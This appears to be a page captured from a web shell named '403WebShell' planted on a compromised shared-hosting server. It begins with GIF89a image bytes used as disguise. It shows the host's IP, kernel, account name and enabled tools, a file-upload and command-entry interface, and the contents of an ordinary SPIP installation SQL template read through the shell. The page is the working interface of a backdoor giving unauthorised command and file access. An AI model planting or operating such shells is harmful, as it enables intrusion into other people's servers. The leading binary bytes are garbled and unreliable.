GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/spip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/softaculous/spip/spip.sql
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;

--
-- Database: `spip444`
--

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_articles`
--

CREATE TABLE `[[dbprefix]]_articles` (
  `id_article` bigint(21) NOT NULL AUTO_INCREMENT,
  `surtitre` text NOT NULL,
  `titre` text NOT NULL,
  `soustitre` text NOT NULL,
  `id_rubrique` bigint(21) NOT NULL DEFAULT '0',
  `descriptif` text NOT NULL,
  `chapo` mediumtext NOT NULL,
  `texte` longtext NOT NULL,
  `ps` mediumtext NOT NULL,
  `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `statut` varchar(10) NOT NULL DEFAULT '0',
  `id_secteur` bigint(21) NOT NULL DEFAULT '0',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `export` varchar(10) DEFAULT 'oui',
  `date_redac` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `visites` int(11) NOT NULL DEFAULT '0',
  `referers` int(11) NOT NULL DEFAULT '0',
  `popularite` double NOT NULL DEFAULT '0',
  `accepter_forum` char(3) NOT NULL DEFAULT '',
  `date_modif` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `lang` varchar(10) NOT NULL DEFAULT '',
  `langue_choisie` varchar(3) DEFAULT 'non',
  `id_trad` bigint(21) NOT NULL DEFAULT '0',
  `nom_site` tinytext NOT NULL,
  `url_site` text NOT NULL,
  `virtuel` text NOT NULL,
  PRIMARY KEY (`id_article`),
  KEY `id_rubrique` (`id_rubrique`),
  KEY `id_secteur` (`id_secteur`),
  KEY `id_trad` (`id_trad`),
  KEY `lang` (`lang`),
  KEY `statut` (`statut`,`date`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_auteurs`
--

CREATE TABLE `[[dbprefix]]_auteurs` (
  `id_auteur` bigint(21) NOT NULL AUTO_INCREMENT,
  `nom` text NOT NULL,
  `bio` text NOT NULL,
  `email` tinytext NOT NULL,
  `nom_site` tinytext NOT NULL,
  `url_site` text NOT NULL,
  `login` varchar(255) CHARACTER SET utf8 COLLATE utf8_bin DEFAULT NULL,
  `pass` tinytext NOT NULL,
  `low_sec` tinytext NOT NULL,
  `statut` varchar(255) NOT NULL DEFAULT '0',
  `webmestre` varchar(3) NOT NULL DEFAULT 'non',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `pgp` text NOT NULL,
  `htpass` tinytext NOT NULL,
  `en_ligne` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `alea_actuel` tinytext,
  `alea_futur` tinytext,
  `prefs` text,
  `cookie_oubli` tinytext,
  `source` varchar(10) NOT NULL DEFAULT 'spip',
  `lang` varchar(10) NOT NULL DEFAULT '',
  `imessage` varchar(3) NOT NULL DEFAULT '',
  `backup_cles` mediumtext NOT NULL,
  PRIMARY KEY (`id_auteur`),
  KEY `login` (`login`),
  KEY `statut` (`statut`),
  KEY `en_ligne` (`en_ligne`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- Dumping data for table `[[dbprefix]]_auteurs`
--

INSERT INTO `[[dbprefix]]_auteurs` VALUES
(1, '[[admin_realname]]', '', '[[admin_email]]', '', '', '[[admin_username]]', '[[admin_pass]]', '', '0minirezo', 'oui', '[[regtime]]', '', '', '[[regtime]]', '[[alea_actuel]]', '[[alea_futur]]', 'a:2:{s:7:"couleur";i:2;s:3:"cnx";s:0:"";}', NULL, 'spip', '[[language]]', '', '');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_auteurs_liens`
--

CREATE TABLE `[[dbprefix]]_auteurs_liens` (
  `id_auteur` bigint(21) NOT NULL DEFAULT '0',
  `id_objet` bigint(21) NOT NULL DEFAULT '0',
  `objet` varchar(25) NOT NULL DEFAULT '',
  `vu` varchar(6) NOT NULL DEFAULT 'non',
  PRIMARY KEY (`id_auteur`,`id_objet`,`objet`),
  KEY `id_auteur` (`id_auteur`),
  KEY `id_objet` (`id_objet`),
  KEY `objet` (`objet`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_depots`
--

CREATE TABLE `[[dbprefix]]_depots` (
  `id_depot` bigint(21) NOT NULL AUTO_INCREMENT,
  `titre` text NOT NULL,
  `descriptif` text NOT NULL,
  `type` varchar(10) NOT NULL DEFAULT '',
  `url_serveur` varchar(255) NOT NULL DEFAULT '',
  `url_brouteur` varchar(255) NOT NULL DEFAULT '',
  `url_archives` varchar(255) NOT NULL DEFAULT '',
  `url_commits` varchar(255) NOT NULL DEFAULT '',
  `xml_paquets` varchar(255) NOT NULL DEFAULT '',
  `sha_paquets` varchar(40) NOT NULL DEFAULT '',
  `nbr_paquets` int(11) NOT NULL DEFAULT '0',
  `nbr_plugins` int(11) NOT NULL DEFAULT '0',
  `nbr_autres` int(11) NOT NULL DEFAULT '0',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id_depot`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_depots_plugins`
--

CREATE TABLE `[[dbprefix]]_depots_plugins` (
  `id_depot` bigint(21) NOT NULL,
  `id_plugin` bigint(21) NOT NULL,
  PRIMARY KEY (`id_depot`,`id_plugin`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_documents`
--

CREATE TABLE `[[dbprefix]]_documents` (
  `id_document` bigint(21) NOT NULL AUTO_INCREMENT,
  `id_vignette` bigint(21) NOT NULL DEFAULT '0',
  `extension` varchar(10) NOT NULL DEFAULT '',
  `titre` text NOT NULL,
  `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `descriptif` text NOT NULL,
  `fichier` text NOT NULL,
  `taille` bigint(20) DEFAULT NULL,
  `largeur` int(11) DEFAULT NULL,
  `hauteur` int(11) DEFAULT NULL,
  `duree` int(11) DEFAULT NULL,
  `media` varchar(10) NOT NULL DEFAULT 'file',
  `mode` varchar(10) NOT NULL DEFAULT 'document',
  `distant` varchar(3) DEFAULT 'non',
  `statut` varchar(10) NOT NULL DEFAULT '0',
  `credits` text NOT NULL,
  `alt` text NOT NULL,
  `date_publication` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `brise` tinyint(4) DEFAULT '0',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id_document`),
  KEY `id_vignette` (`id_vignette`),
  KEY `mode` (`mode`),
  KEY `extension` (`extension`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_documents_liens`
--

CREATE TABLE `[[dbprefix]]_documents_liens` (
  `id_document` bigint(21) NOT NULL DEFAULT '0',
  `id_objet` bigint(21) NOT NULL DEFAULT '0',
  `objet` varchar(25) NOT NULL DEFAULT '',
  `vu` enum('non','oui') NOT NULL DEFAULT 'non',
  `rang_lien` int(4) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id_document`,`id_objet`,`objet`),
  KEY `id_document` (`id_document`),
  KEY `id_objet` (`id_objet`),
  KEY `objet` (`objet`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_forum`
--

CREATE TABLE `[[dbprefix]]_forum` (
  `id_forum` bigint(21) NOT NULL AUTO_INCREMENT,
  `id_objet` bigint(21) NOT NULL DEFAULT '0',
  `objet` varchar(25) NOT NULL DEFAULT '',
  `id_parent` bigint(21) NOT NULL DEFAULT '0',
  `id_thread` bigint(21) NOT NULL DEFAULT '0',
  `date_heure` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `date_thread` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `titre` text NOT NULL,
  `texte` mediumtext NOT NULL,
  `auteur` text NOT NULL,
  `email_auteur` text NOT NULL,
  `nom_site` text NOT NULL,
  `url_site` text NOT NULL,
  `statut` varchar(8) NOT NULL DEFAULT '0',
  `ip` varchar(40) NOT NULL DEFAULT '',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `id_auteur` bigint(20) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id_forum`),
  KEY `id_auteur` (`id_auteur`),
  KEY `id_parent` (`id_parent`),
  KEY `id_thread` (`id_thread`),
  KEY `optimal` (`statut`,`id_parent`,`id_objet`,`objet`,`date_heure`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_groupes_mots`
--

CREATE TABLE `[[dbprefix]]_groupes_mots` (
  `id_groupe` bigint(21) NOT NULL AUTO_INCREMENT,
  `titre` text NOT NULL,
  `descriptif` text NOT NULL,
  `texte` longtext NOT NULL,
  `unseul` varchar(3) NOT NULL DEFAULT '',
  `obligatoire` varchar(3) NOT NULL DEFAULT '',
  `tables_liees` text NOT NULL,
  `minirezo` varchar(3) NOT NULL DEFAULT '',
  `comite` varchar(3) NOT NULL DEFAULT '',
  `forum` varchar(3) NOT NULL DEFAULT '',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id_groupe`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_jobs`
--

CREATE TABLE `[[dbprefix]]_jobs` (
  `id_job` bigint(21) NOT NULL AUTO_INCREMENT,
  `descriptif` text NOT NULL,
  `fonction` varchar(255) NOT NULL,
  `args` longblob NOT NULL,
  `md5args` char(32) NOT NULL DEFAULT '',
  `inclure` varchar(255) NOT NULL,
  `priorite` smallint(6) NOT NULL DEFAULT '0',
  `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `status` tinyint(4) NOT NULL DEFAULT '1',
  PRIMARY KEY (`id_job`),
  KEY `date` (`date`),
  KEY `status` (`status`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 AUTO_INCREMENT=9 ;

--
-- Dumping data for table `[[dbprefix]]_jobs`
--

INSERT INTO `[[dbprefix]]_jobs` VALUES
(1, 'CRON task queue_watch (every 86400 s)', 'queue_watch', '[[queue_watch_args]]', '[[queue_watch_md5]]', 'genie/', 0, '[[regtime]]', 1),
(2, 'CRON task optimiser (every 172800 s)', 'optimiser', '[[optimiser_args]]', '[[optimiser_md5]]', 'genie/', 0, '[[regtime]]', 1),
(3, 'CRON task maintenance (every 7200 s)', 'maintenance', '[[maintenance_args]]', '[[maintenance_md5]]', 'genie/', 0, '[[regtime]]', 1),
(4, 'CRON task mise_a_jour (every 259200 s)', 'mise_a_jour', '[[mise_a_jour_args]]', '[[mise_a_jour_md5]]', 'genie/', 0, '[[regtime]]', 1),
(5, 'CRON task revisions_optimiser_revisions (every 86400 s)', 'revisions_optimiser_revisions', '[[revisions_optimiser_revisions_args]]', '[[revisions_optimiser_revisions_md5]]', 'genie/', 0, '[[regtime]]', 1),
(6, 'CRON task bigup_nettoyer_repertoire_upload (every 86400 s)', 'bigup_nettoyer_repertoire_upload', '[[bigup_nettoyer_repertoire_upload_args]]', '[[bigup_nettoyer_repertoire_upload_md5]]', 'genie/', 0, '[[regtime]]', 1),
(7, 'CRON task medias_nettoyer_repertoire_upload (every 86400 s)', 'medias_nettoyer_repertoire_upload', '[[medias_nettoyer_repertoire_upload_args]]', '[[medias_nettoyer_repertoire_upload_md5]]', 'genie/', 0, '[[regtime]]', 1),
(8, 'CRON task svp_actualiser_depots (every 21600 s)', 'svp_actualiser_depots', '[[svp_actualiser_depots_args]]', '[[svp_actualiser_depots_md5]]', 'genie/', 0, '[[regtime]]', 1);

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_jobs_liens`
--

CREATE TABLE `[[dbprefix]]_jobs_liens` (
  `id_job` bigint(21) NOT NULL DEFAULT '0',
  `id_objet` bigint(21) NOT NULL DEFAULT '0',
  `objet` varchar(25) NOT NULL DEFAULT '',
  PRIMARY KEY (`id_job`,`id_objet`,`objet`),
  KEY `id_job` (`id_job`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_meta`
--

CREATE TABLE `[[dbprefix]]_meta` (
  `nom` varchar(255) NOT NULL,
  `valeur` text,
  `impt` enum('non','oui') NOT NULL DEFAULT 'oui',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`nom`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

--
-- Dumping data for table `[[dbprefix]]_meta`
--

INSERT INTO `[[dbprefix]]_meta` VALUES
('accepter_inscriptions', 'non', 'oui', '[[regtime]]'),
('accepter_visiteurs', 'non', 'oui', '[[regtime]]'),
('activer_captures_referers', 'non', 'oui', '[[regtime]]'),
('activer_logos', 'oui', 'oui', '[[regtime]]'),
('activer_logos_survol', 'non', 'oui', '[[regtime]]'),
('activer_referers', 'oui', 'oui', '[[regtime]]'),
('activer_sites', 'non', 'oui', '[[regtime]]'),
('activer_statistiques', 'non', 'oui', '[[regtime]]'),
('activer_syndic', 'oui', 'oui', '[[regtime]]'),
('adresse_neuf', '', 'oui', '[[regtime]]'),
('adresse_site', '[[softurl]]', 'non', '[[regtime]]'),
('adresse_suivi', '', 'oui', '[[regtime]]'),
('adresse_suivi_inscription', '', 'oui', '[[regtime]]'),
('alea_ephemere', '[[alea_ephemere]]', 'non', '[[regtime]]'),
('alea_ephemere_ancien', NULL, 'non', '[[regtime]]'),
('alea_ephemere_date', '[[timestamp]]', 'non', '[[regtime]]'),
('articles_chapeau', 'non', 'oui', '[[regtime]]'),
('articles_descriptif', 'non', 'oui', '[[regtime]]'),
('articles_modif', 'non', 'oui', '[[regtime]]'),
('articles_mots', 'non', 'oui', '[[regtime]]'),
('articles_ps', 'non', 'oui', '[[regtime]]'),
('articles_redac', 'non', 'oui', '[[regtime]]'),
('articles_redirection', 'non', 'oui', '[[regtime]]'),
('articles_soustitre', 'non', 'oui', '[[regtime]]'),
('articles_surtitre', 'non', 'oui', '[[regtime]]'),
('articles_texte', 'oui', 'oui', '[[regtime]]'),
('articles_urlref', 'non', 'oui', '[[regtime]]'),
('auto_compress_css', 'non', 'oui', '[[regtime]]'),
('auto_compress_http', 'non', 'oui', '[[regtime]]'),
('auto_compress_js', 'non', 'oui', '[[regtime]]'),
('barre_outils_public', 'oui', 'oui', '[[regtime]]'),
('bigup', 'a:1:{s:13:"max_file_size";i:20;}', 'oui', '[[regtime]]'),
('bigup_base_version', '1.0.1', 'oui', '[[regtime]]'),
('charset', 'utf-8', 'oui', '[[regtime]]'),
('charset_collation_sql_base', 'utf8_general_ci', 'non', '[[regtime]]'),
('charset_sql_base', 'utf8', 'non', '[[regtime]]'),
('charset_sql_connexion', 'utf8', 'non', '[[regtime]]'),
('compagnon', 'a:1:{s:6:"config";a:1:{s:7:"activer";s:3:"oui";}}', 'oui', '[[regtime]]'),
('compagnon_base_version', '1.0.0', 'oui', '[[regtime]]'),
('config_precise_groupes', 'non', 'oui', '[[regtime]]'),
('creer_preview', 'non', 'non', '[[regtime]]'),
('descriptif_site', '', 'oui', '[[regtime]]'),
('dir_img', 'IMG/', 'oui', '[[regtime]]'),
('documents_date', 'non', 'oui', '[[regtime]]'),
('documents_objets', 'spip_articles', 'oui', '[[regtime]]'),
('email_envoi', '', 'oui', '[[regtime]]'),
('email_webmaster', '[[admin_email]]', 'oui', '[[regtime]]'),
('formats_documents_forum', '', 'oui', '[[regtime]]'),
('forums_afficher_barre', 'oui', 'oui', '[[regtime]]'),
('forums_forcer_previsu', 'oui', 'oui', '[[regtime]]'),
('forums_publics', 'posteriori', 'oui', '[[regtime]]'),
('forums_texte', 'oui', 'oui', '[[regtime]]'),
('forums_titre', 'oui', 'oui', '[[regtime]]'),
('forums_urlref', 'non', 'oui', '[[regtime]]'),
('forum_base_version', '1.2.2', 'oui', '[[regtime]]'),
('forum_prive', 'oui', 'oui', '[[regtime]]'),
('forum_prive_admin', 'non', 'oui', '[[regtime]]'),
('forum_prive_objets', 'oui', 'oui', '[[regtime]]'),
('gerer_trad', 'non', 'oui', '[[regtime]]'),
('jours_neuf', '', 'oui', '[[regtime]]'),
('langues_multilingue', '', 'oui', '[[regtime]]'),
('langues_proposees', 'ar,ast,ay,bg,br,bs,ca,co,cpf,cpf_hat,cs,da,de,en,eo,es,eu,fa,fon,fr,fr_fem,fr_tu,gl,he,hr,hu,id,it,it_fem,ja,km,lb,my,nl,oc_auv,oc_gsc,oc_lms,oc_lnc,oc_ni,oc_ni_la,oc_ni_mis,oc_prv,oc_va,pl,pt,pt_br,ro,ru,sk,sv,tr,uk,vi,zh', 'non', '[[regtime]]'),
('langues_utilisees', 'fr', 'oui', '[[regtime]]'),
('langue_site', '[[language]]', 'non', '[[regtime]]'),
('medias_base_version', '1.8.0', 'oui', '[[regtime]]'),
('moderation_sites', 'non', 'oui', '[[regtime]]'),
('mots_base_version', '2.1.1', 'oui', '[[regtime]]'),
('mots_cles_forums', 'non', 'oui', '[[regtime]]'),
('multi_rubriques', 'non', 'oui', '[[regtime]]'),
('multi_secteurs', 'non', 'oui', '[[regtime]]'),
('nom_site', '[[site_name]]', 'oui', '[[regtime]]'),
